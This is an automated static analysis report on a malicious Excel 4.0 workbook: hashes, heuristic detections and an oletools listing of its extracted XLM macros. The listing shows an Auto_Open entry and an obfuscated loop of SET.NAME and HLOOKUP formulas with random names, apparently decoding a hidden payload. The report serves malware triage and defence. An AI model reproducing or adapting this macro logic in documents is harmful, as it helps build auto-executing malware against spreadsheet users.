Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fead5bc427d112b1…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:48 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: a0b189c214e3e20c3f14aeb0256fc225 SHA-1: 59f5c0d8a2d08ef45f9b80b35e91e05eed20c6a5 SHA-256: fead5bc427d112b1b08f7b991cd14b075cfb6cc2560b48c69997e6d5302a4cc7
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6804 bytes
SHA-256: f5c45564dc4d968b1a6cfd7abf47b9ef58fb053d27fabf5ff828ad6e0677faf7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
19 of 38 identifiers look randomly generated (e.g. 'JasXYsqYpdmq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ocitGVQVh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C137 
' 0018     27 LABEL : Cell Value, String Constant - bNEOeAfhPrBr len=0 
' 0018     25 LABEL : Cell Value, String Constant - DXYUxnTbyD len=0 
' 0018     25 LABEL : Cell Value, String Constant - eiVZWEvtCP len=0 
' 0018     27 LABEL : Cell Value, String Constant - iIVcrVMShZew len=0 
' 0018     27 LABEL : Cell Value, String Constant - JasXYsqYpdmq len=0 
' 0018     23 LABEL : Cell Value, String Constant - jyVJvqCJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - krGLmOq len=0 
' 0018     23 LABEL : Cell Value, String Constant - mtXKLYBx len=0 
' 0018     27 LABEL : Cell Value, String Constant - nchlhdNCxmSQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - NRQvrKE len=0 
' 0018     21 LABEL : Cell Value, String Constant - nZGopT len=0 
' 0018     26 LABEL : Cell Value, String Constant - pciyUnTMHsr len=0 
' 0018     20 LABEL : Cell Value, String Constant - VgyXx len=0 
' 0018     23 LABEL : Cell Value, String Constant - VpYmJUZz len=0 
' 0018     23 LABEL : Cell Value, String Constant - wHlBtCgE len=0 
' 0018     20 LABEL : Cell Value, String Constant - WMesC len=0 
' 0018     25 LABEL : Cell Value, String Constant - XAzUmCpomJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ySJfHBlKzn len=0 
' 0018     21 LABEL : Cell Value, String Constant - YtvXQU len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZBmxxPU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ocitGVQVh,C46,"SET.NAME("XAzUmCpomJ",0+VALUE("0"))",""
'  ocitGVQVh,C50,"SET.NAME("ZBmxxPU",XAzUmCpomJ)",""
'  ocitGVQVh,C54,"SET.NAME("WMesC",XAzUmCpomJ)",""
'  ocitGVQVh,C59,"SET.NAME("jyVJvqCJ",COUNTA(eiVZWEvtCP))",""
'  ocitGVQVh,C63,"SET.NAME("NRQvrKE",COUNTA(pciyUnTMHsr))",""
'  ocitGVQVh,C67,[],""
'  ocitGVQVh,C69,"SET.NAME("JasXYsqYpdmq","")",""
'  ocitGVQVh,C72,"ZBmxxPU",""
'  ocitGVQVh,C77,"SET.NAME("nZGopT",HLOOKUP("*",eiVZWEvtCP,ZBmxxPU,FALSE))",""
'  ocitGVQVh,C79,"mtXKLYBx",""
'  ocitGVQVh,C81,"SET.NAME("VgyXx",XAzUmCpomJ)",""
'  ocitGVQVh,S84,"",-314.00000000000000000000
'  ocitGVQVh,C85,[],""
'  ocitGVQVh,S85,"",-746.00000000000000000000
'  ocitGVQVh,S86,"",373.00000000000000000000
'  ocitGVQVh,C87,"VgyXx",""
'  ocitGVQVh,S87,"",687.00000000000000000000
'  ocitGVQVh,S88,"",433.00000000000000000000
'  ocitGVQVh,S89,"",-744.00000000000000000000
'  ocitGVQVh,C92,"VpYmJUZz",""
'  ocitGVQVh,C94,"wHlBtCgE",""
'  ocitGVQVh,C97,"ySJfHBlKzn",""
'  ocitGVQVh,C101,"SET.NAME("iIVcrVMShZew",VALUE(HLOOKUP("*",pciyUnTMHsr,ySJfHBlKzn,FALSE)))",""
'  ocitGVQVh,C104,"YtvXQU",""
'  ocitGVQVh,C107,"JasXYsqYpdmq",""
'  ocitGVQVh,C112,"WMesC",""
'  ocitGVQVh,C114,NEXT(),""
'  ocitGVQVh,C119,"krGLmOq",""
'  ocitGVQVh,C122,[],""
'  ocitGVQVh,C124,"DXYUxnTbyD",""
'  ocitGVQVh,C129,NEXT(),""
'  ocitGVQVh,C132,RETURN(),""
'  ocitGVQVh,C162,"SET.NAME("nchlhdNCxmSQ",C46)",""
'  ocitGVQVh,C167,"eiVZWEvtCP",""
'  ocitGVQVh,C169,"SET.NAME("pciyUnTMHsr",R43C12)",""
'  ocitGVQVh,C171,"SET.NAME("DXYUxnTbyD",178)",""
'  ocitGVQVh,C175,"SET.NAME("bNEOeAfhPrBr",3)",""
'  ocitGVQVh,C177,nchlhdNCxmSQ(),""
'  ocitGVQVh,C178,HALT(),""

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